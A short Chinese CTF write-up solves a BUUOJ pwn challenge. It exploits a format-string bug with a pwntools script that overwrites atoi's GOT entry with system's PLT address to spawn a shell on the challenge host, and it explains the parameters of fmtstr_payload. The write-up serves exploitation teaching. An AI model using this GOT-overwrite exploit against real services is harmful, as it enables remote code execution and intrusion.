一、题目特征
二、分析
方法1
格式化字符串漏洞,那直接改那个函数的值
直接修改atoi函数的.got.plt表地址
这样在调用atoi函数的时候,可以直接在公共plt表跳转到system函数
确定偏移为10
from pwn import*
p = remote('node4.buuoj.cn','27870')
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将atio的GOT数据改为system的plt函数地址,就写{atoi_got:system_plt}
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
三.参考文章
深入了解GOT,PLT和动态链接
格式化字符串利器fmtstr_payload | 攻防世界 pwn进阶区 实时数据监测